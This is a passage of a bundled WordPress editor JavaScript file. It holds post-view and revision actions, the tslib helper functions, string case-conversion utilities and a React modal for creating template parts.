  label: (0,external_wp_i18n_namespaceObject._x)('View', 'verb'),
  isPrimary: true,
  icon: library_external,
  isEligible(post) {
    return post.status !== 'trash';
  },
  callback(posts, {
    onActionPerformed
  }) {
    const post = posts[0];
    window.open(post?.link, '_blank');
    if (onActionPerformed) {
      onActionPerformed(posts);
    }
  }
};

/**
 * View post action for BasePost.
 */
/* harmony default export */ const view_post = (viewPost);

;// ./node_modules/@wordpress/fields/build-module/actions/view-post-revisions.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const viewPostRevisions = {
  id: 'view-post-revisions',
  context: 'list',
  label(items) {
    var _items$0$_links$versi;
    const revisionsCount = (_items$0$_links$versi = items[0]._links?.['version-history']?.[0]?.count) !== null && _items$0$_links$versi !== void 0 ? _items$0$_links$versi : 0;
    return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: number of revisions. */
    (0,external_wp_i18n_namespaceObject.__)('View revisions (%s)'), revisionsCount);
  },
  isEligible(post) {
    var _post$_links$predeces, _post$_links$version;
    if (post.status === 'trash') {
      return false;
    }
    const lastRevisionId = (_post$_links$predeces = post?._links?.['predecessor-version']?.[0]?.id) !== null && _post$_links$predeces !== void 0 ? _post$_links$predeces : null;
    const revisionsCount = (_post$_links$version = post?._links?.['version-history']?.[0]?.count) !== null && _post$_links$version !== void 0 ? _post$_links$version : 0;
    return !!lastRevisionId && revisionsCount > 1;
  },
  callback(posts, {
    onActionPerformed
  }) {
    const post = posts[0];
    const href = (0,external_wp_url_namespaceObject.addQueryArgs)('revision.php', {
      revision: post?._links?.['predecessor-version']?.[0]?.id
    });
    document.location.href = href;
    if (onActionPerformed) {
      onActionPerformed(posts);
    }
  }
};

/**
 * View post revisions action for Post.
 */
/* harmony default export */ const view_post_revisions = (viewPostRevisions);

;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// ./node_modules/@wordpress/icons/build-module/library/check.js
/**
 * WordPress dependencies
 */


const check = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"
  })
});
/* harmony default export */ const library_check = (check);

;// ./node_modules/tslib/tslib.es6.mjs
/******************************************************************************
Copyright (c) Microsoft Corporation.

Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */
/* global Reflect, Promise, SuppressedError, Symbol, Iterator */

var extendStatics = function(d, b) {
  extendStatics = Object.setPrototypeOf ||
      ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
      function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
  return extendStatics(d, b);
};

function __extends(d, b) {
  if (typeof b !== "function" && b !== null)
      throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
  extendStatics(d, b);
  function __() { this.constructor = d; }
  d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}

var __assign = function() {
  __assign = Object.assign || function __assign(t) {
      for (var s, i = 1, n = arguments.length; i < n; i++) {
          s = arguments[i];
          for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
      }
      return t;
  }
  return __assign.apply(this, arguments);
}

function __rest(s, e) {
  var t = {};
  for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
      t[p] = s[p];
  if (s != null && typeof Object.getOwnPropertySymbols === "function")
      for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
          if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
              t[p[i]] = s[p[i]];
      }
  return t;
}

function __decorate(decorators, target, key, desc) {
  var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
  if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
  else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
  return c > 3 && r && Object.defineProperty(target, key, r), r;
}

function __param(paramIndex, decorator) {
  return function (target, key) { decorator(target, key, paramIndex); }
}

function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
  function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
  var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
  var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
  var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
  var _, done = false;
  for (var i = decorators.length - 1; i >= 0; i--) {
      var context = {};
      for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
      for (var p in contextIn.access) context.access[p] = contextIn.access[p];
      context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
      var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
      if (kind === "accessor") {
          if (result === void 0) continue;
          if (result === null || typeof result !== "object") throw new TypeError("Object expected");
          if (_ = accept(result.get)) descriptor.get = _;
          if (_ = accept(result.set)) descriptor.set = _;
          if (_ = accept(result.init)) initializers.unshift(_);
      }
      else if (_ = accept(result)) {
          if (kind === "field") initializers.unshift(_);
          else descriptor[key] = _;
      }
  }
  if (target) Object.defineProperty(target, contextIn.name, descriptor);
  done = true;
};

function __runInitializers(thisArg, initializers, value) {
  var useValue = arguments.length > 2;
  for (var i = 0; i < initializers.length; i++) {
      value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
  }
  return useValue ? value : void 0;
};

function __propKey(x) {
  return typeof x === "symbol" ? x : "".concat(x);
};

function __setFunctionName(f, name, prefix) {
  if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
  return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
};

function __metadata(metadataKey, metadataValue) {
  if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
}

function __awaiter(thisArg, _arguments, P, generator) {
  function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
  return new (P || (P = Promise))(function (resolve, reject) {
      function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
      function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
      function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
      step((generator = generator.apply(thisArg, _arguments || [])).next());
  });
}

function __generator(thisArg, body) {
  var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
  return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
  function verb(n) { return function (v) { return step([n, v]); }; }
  function step(op) {
      if (f) throw new TypeError("Generator is already executing.");
      while (g && (g = 0, op[0] && (_ = 0)), _) try {
          if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
          if (y = 0, t) op = [op[0] & 2, t.value];
          switch (op[0]) {
              case 0: case 1: t = op; break;
              case 4: _.label++; return { value: op[1], done: false };
              case 5: _.label++; y = op[1]; op = [0]; continue;
              case 7: op = _.ops.pop(); _.trys.pop(); continue;
              default:
                  if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
                  if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
                  if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
                  if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
                  if (t[2]) _.ops.pop();
                  _.trys.pop(); continue;
          }
          op = body.call(thisArg, _);
      } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
      if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
  }
}

var __createBinding = Object.create ? (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  var desc = Object.getOwnPropertyDescriptor(m, k);
  if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
  }
  Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  o[k2] = m[k];
});

function __exportStar(m, o) {
  for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
}

function __values(o) {
  var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
  if (m) return m.call(o);
  if (o && typeof o.length === "number") return {
      next: function () {
          if (o && i >= o.length) o = void 0;
          return { value: o && o[i++], done: !o };
      }
  };
  throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
}

function __read(o, n) {
  var m = typeof Symbol === "function" && o[Symbol.iterator];
  if (!m) return o;
  var i = m.call(o), r, ar = [], e;
  try {
      while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
  }
  catch (error) { e = { error: error }; }
  finally {
      try {
          if (r && !r.done && (m = i["return"])) m.call(i);
      }
      finally { if (e) throw e.error; }
  }
  return ar;
}

/** @deprecated */
function __spread() {
  for (var ar = [], i = 0; i < arguments.length; i++)
      ar = ar.concat(__read(arguments[i]));
  return ar;
}

/** @deprecated */
function __spreadArrays() {
  for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
  for (var r = Array(s), k = 0, i = 0; i < il; i++)
      for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
          r[k] = a[j];
  return r;
}

function __spreadArray(to, from, pack) {
  if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
      if (ar || !(i in from)) {
          if (!ar) ar = Array.prototype.slice.call(from, 0, i);
          ar[i] = from[i];
      }
  }
  return to.concat(ar || Array.prototype.slice.call(from));
}

function __await(v) {
  return this instanceof __await ? (this.v = v, this) : new __await(v);
}

function __asyncGenerator(thisArg, _arguments, generator) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var g = generator.apply(thisArg, _arguments || []), i, q = [];
  return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
  function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
  function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
  function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
  function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
  function fulfill(value) { resume("next", value); }
  function reject(value) { resume("throw", value); }
  function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
}

function __asyncDelegator(o) {
  var i, p;
  return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
  function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
}

function __asyncValues(o) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var m = o[Symbol.asyncIterator], i;
  return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
  function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
  function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
}

function __makeTemplateObject(cooked, raw) {
  if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
  return cooked;
};

var __setModuleDefault = Object.create ? (function(o, v) {
  Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
  o["default"] = v;
};

var ownKeys = function(o) {
  ownKeys = Object.getOwnPropertyNames || function (o) {
    var ar = [];
    for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
    return ar;
  };
  return ownKeys(o);
};

function __importStar(mod) {
  if (mod && mod.__esModule) return mod;
  var result = {};
  if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
  __setModuleDefault(result, mod);
  return result;
}

function __importDefault(mod) {
  return (mod && mod.__esModule) ? mod : { default: mod };
}

function __classPrivateFieldGet(receiver, state, kind, f) {
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
  return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
}

function __classPrivateFieldSet(receiver, state, value, kind, f) {
  if (kind === "m") throw new TypeError("Private method is not writable");
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
  return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
}

function __classPrivateFieldIn(state, receiver) {
  if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
  return typeof state === "function" ? receiver === state : state.has(receiver);
}

function __addDisposableResource(env, value, async) {
  if (value !== null && value !== void 0) {
    if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
    var dispose, inner;
    if (async) {
      if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
      dispose = value[Symbol.asyncDispose];
    }
    if (dispose === void 0) {
      if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
      dispose = value[Symbol.dispose];
      if (async) inner = dispose;
    }
    if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
    if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
    env.stack.push({ value: value, dispose: dispose, async: async });
  }
  else if (async) {
    env.stack.push({ async: true });
  }
  return value;
}

var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
  var e = new Error(message);
  return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
};

function __disposeResources(env) {
  function fail(e) {
    env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
    env.hasError = true;
  }
  var r, s = 0;
  function next() {
    while (r = env.stack.pop()) {
      try {
        if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
        if (r.dispose) {
          var result = r.dispose.call(r.value);
          if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
        }
        else s |= 1;
      }
      catch (e) {
        fail(e);
      }
    }
    if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
    if (env.hasError) throw env.error;
  }
  return next();
}

function __rewriteRelativeImportExtension(path, preserveJsx) {
  if (typeof path === "string" && /^\.\.?\//.test(path)) {
      return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
          return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
      });
  }
  return path;
}

/* harmony default export */ const tslib_es6 = ({
  __extends,
  __assign,
  __rest,
  __decorate,
  __param,
  __esDecorate,
  __runInitializers,
  __propKey,
  __setFunctionName,
  __metadata,
  __awaiter,
  __generator,
  __createBinding,
  __exportStar,
  __values,
  __read,
  __spread,
  __spreadArrays,
  __spreadArray,
  __await,
  __asyncGenerator,
  __asyncDelegator,
  __asyncValues,
  __makeTemplateObject,
  __importStar,
  __importDefault,
  __classPrivateFieldGet,
  __classPrivateFieldSet,
  __classPrivateFieldIn,
  __addDisposableResource,
  __disposeResources,
  __rewriteRelativeImportExtension,
});

;// ./node_modules/lower-case/dist.es2015/index.js
/**
 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
 */
var SUPPORTED_LOCALE = {
    tr: {
        regexp: /\u0130|\u0049|\u0049\u0307/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    az: {
        regexp: /\u0130/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    lt: {
        regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
        map: {
            I: "\u0069\u0307",
            J: "\u006A\u0307",
            Į: "\u012F\u0307",
            Ì: "\u0069\u0307\u0300",
            Í: "\u0069\u0307\u0301",
            Ĩ: "\u0069\u0307\u0303",
        },
    },
};
/**
 * Localized lower case.
 */
function localeLowerCase(str, locale) {
    var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
    if (lang)
        return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
    return lowerCase(str);
}
/**
 * Lower case as a function.
 */
function lowerCase(str) {
    return str.toLowerCase();
}

;// ./node_modules/no-case/dist.es2015/index.js

// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
// Remove all non-word characters.
var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
/**
 * Normalize the string into something other libraries can manipulate easier.
 */
function noCase(input, options) {
    if (options === void 0) { options = {}; }
    var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
    var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
    var start = 0;
    var end = result.length;
    // Trim the delimiter from around the output string.
    while (result.charAt(start) === "\0")
        start++;
    while (result.charAt(end - 1) === "\0")
        end--;
    // Transform each token independently.
    return result.slice(start, end).split("\0").map(transform).join(delimiter);
}
/**
 * Replace `re` in the input string with the replacement value.
 */
function replace(input, re, value) {
    if (re instanceof RegExp)
        return input.replace(re, value);
    return re.reduce(function (input, re) { return input.replace(re, value); }, input);
}

;// ./node_modules/dot-case/dist.es2015/index.js


function dotCase(input, options) {
    if (options === void 0) { options = {}; }
    return noCase(input, __assign({ delimiter: "." }, options));
}

;// ./node_modules/param-case/dist.es2015/index.js


function paramCase(input, options) {
    if (options === void 0) { options = {}; }
    return dotCase(input, __assign({ delimiter: "-" }, options));
}

;// ./node_modules/@wordpress/fields/build-module/components/create-template-part-modal/utils.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const useExistingTemplateParts = () => {
  var _useSelect;
  return (_useSelect = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', 'wp_template_part', {
    per_page: -1
  }), [])) !== null && _useSelect !== void 0 ? _useSelect : [];
};

/**
 * Return a unique template part title based on
 * the given title and existing template parts.
 *
 * @param {string} title         The original template part title.
 * @param {Object} templateParts The array of template part entities.
 * @return {string} A unique template part title.
 */
const getUniqueTemplatePartTitle = (title, templateParts) => {
  const lowercaseTitle = title.toLowerCase();
  const existingTitles = templateParts.map(templatePart => templatePart.title.rendered.toLowerCase());
  if (!existingTitles.includes(lowercaseTitle)) {
    return title;
  }
  let suffix = 2;
  while (existingTitles.includes(`${lowercaseTitle} ${suffix}`)) {
    suffix++;
  }
  return `${title} ${suffix}`;
};

/**
 * Get a valid slug for a template part.
 * Currently template parts only allow latin chars.
 * The fallback slug will receive suffix by default.
 *
 * @param {string} title The template part title.
 * @return {string} A valid template part slug.
 */
const getCleanTemplatePartSlug = title => {
  return paramCase(title).replace(/[^\w-]+/g, '') || 'wp-custom-part';
};

;// ./node_modules/@wordpress/fields/build-module/components/create-template-part-modal/index.js
/**
 * WordPress dependencies
 */








// @ts-expect-error serialize is not typed


/**
 * Internal dependencies
 */


function getAreaRadioId(value, instanceId) {
  return `fields-create-template-part-modal__area-option-${value}-${instanceId}`;
}
function getAreaRadioDescriptionId(value, instanceId) {
  return `fields-create-template-part-modal__area-option-description-${value}-${instanceId}`;
}
/**
 * A React component that renders a modal for creating a template part. The modal displays a title and the contents for creating the template part.
 * This component should not live in this package, it should be moved to a dedicated package responsible for managing template.
 * @param {Object} props            The component props.
 * @param          props.modalTitle
 */
function CreateTemplatePartModal({
  modalTitle,
  ...restProps
}) {
  const defaultModalTitle = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getPostType('wp_template_part')?.labels?.add_new_item, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    title: modalTitle || defaultModalTitle,
    onRequestClose: restProps.closeModal,
    overlayClassName: "fields-create-template-part-modal",
    focusOnMount: "firstContentElement",
    size: "medium",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateTemplatePartModalContents, {
      ...restProps
    })
  });
}
const create_template_part_modal_getTemplatePartIcon = iconName => {
  if ('header' === iconName) {
    return library_header;
  } else if ('footer' === iconName) {
    return library_footer;
  } else if ('sidebar' === iconName) {
    return library_sidebar;
  }
  return symbol_filled;
};

/**
 * A React component that renders the content of a model for creating a template part.
 * This component should not live in this package; it should be moved to a dedicated package responsible for managing template.
 *
 * @param {Object}   props                             - The component props.
 * @param {string}   [props.defaultArea=uncategorized] - The default area for the template part.
 * @param {Array}    [props.blocks=[]]                 - The blocks to be included in the template part.
 * @param {string}   [props.confirmLabel='Add']        - The label for the confirm button.
 * @param {Function} props.closeModal                  - Function to close the modal.
 * @param {Function} props.onCreate                    - Function to call when the template part is successfully created.
 * @param {Function} [props.onError]                   - Function to call when there is an error creating the template part.
 * @param {string}   [props.defaultTitle='']           - The default title for the template part.
 */
function CreateTemplatePartModalContents({
  defaultArea = 'uncategorized',
  blocks = [],
  confirmLabel = (0,external_wp_i18n_namespaceObject.__)('Add'),
  closeModal,
  onCreate,
  onError,
  defaultTitle = ''
}) {
  const {
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const existingTemplateParts = useExistingTemplateParts();
  const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)(defaultTitle);
  const [area, setArea] = (0,external_wp_element_namespaceObject.useState)(defaultArea);
  const [isSubmitting, setIsSubmitting] = (0,external_wp_element_namespaceObject.useState)(false);
  const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(CreateTemplatePartModal);
  const defaultTemplatePartAreas = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas, []);
  async function createTemplatePart() {
    if (!title || isSubmitting) {
      return;
    }
    try {
      setIsSubmitting(true);
      const uniqueTitle = getUniqueTemplatePartTitle(title, existingTemplateParts);
      const cleanSlug = getCleanTemplatePartSlug(uniqueTitle);
      const templatePart = await saveEntityRecord('postType', 'wp_template_part', {
        slug: cleanSlug,
        title: uniqueTitle,
        content: (0,external_wp_blocks_namespaceObject.serialize)(blocks),
        area
      }, {
        throwOnError: true
      });
      await onCreate(templatePart);

      // TODO: Add a success notice?
    } catch (error) {
      const errorMessage = error instanceof Error && 'code' in error && error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while creating the template part.');
      createErrorNotice(errorMessage, {
        type: 'snackbar'
      });
      onError?.();
    } finally {
      setIsSubmitting(false);
    }
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
    onSubmit: async event => {
      event.preventDefault();
      await createTemplatePart();
    },
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "4",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
        __next40pxDefaultSize: true,
        __nextHasNoMarginBottom: true,
        label: (0,external_wp_i18n_namespaceObject.__)('Name'),
        value: title,
        onChange: setTitle,
        required: true
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, {
          as: "legend",
          children: (0,external_wp_i18n_namespaceObject.__)('Area')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "fields-create-template-part-modal__area-radio-group",
          children: (defaultTemplatePartAreas !== null && defaultTemplatePartAreas !== void 0 ? defaultTemplatePartAreas : []).map(item => {
            const icon = create_template_part_modal_getTemplatePartIcon(item.icon);
            return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
              className: "fields-create-template-part-modal__area-radio-wrapper",
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("input", {
                type: "radio",
                id: getAreaRadioId(item.area, instanceId),
                name: `fields-create-template-part-modal__area-${instanceId}`,
                value: item.area,
                checked: area === item.area,
                onChange: () => {
                  setArea(item.area);
                },
                "aria-describedby": getAreaRadioDescriptionId(item.area, instanceId)
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
                icon: icon,
                className: "fields-create-template-part-modal__area-radio-icon"
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("label", {
                htmlFor: getAreaRadioId(item.area, instanceId),
                className: "fields-create-template-part-modal__area-radio-label",
                children: item.label
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
                icon: library_check,
                className: "fields-create-template-part-modal__area-radio-checkmark"
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
                className: "fields-create-template-part-modal__area-radio-description",
                id: getAreaRadioDescriptionId(item.area, instanceId),
                children: item.description
              })]
            }, item.area);
          })
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "tertiary",
          onClick: () => {
            closeModal();
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          type: "submit",
          "aria-disabled": !title || isSubmitting,
          isBusy: isSubmitting,
          children: confirmLabel
        })]
      })]
    })
  });
}

;// ./node_modules/@wordpress/fields/build-module/actions/utils.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

function isTemplate(post) {
  return post.type === 'wp_template';
}
function isTemplatePart(post) {
  return post.type === 'wp_template_part';
}
function isTemplateOrTemplatePart(p) {
  return p.type === 'wp_template' || p.type === 'wp_template_part';
}
function getItemTitle(item) {
  if (typeof item.title === 'string') {
    return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title);
  }
  if (item.title && 'rendered' in item.title) {
    return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title.rendered);
  }
  if (item.title && 'raw' in item.title) {
    return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title.raw);
  }
  return '';
}

/**
 * Check if a template is removable.
 *
 * @param template The template entity to check.
 * @return Whether the template is removable.
 */
function isTemplateRemovable(template) {
  if (!template) {
    return false;
  }
  // In patterns list page we map the templates parts to a different object
  // than the one returned from the endpoint. This is why we need to check for
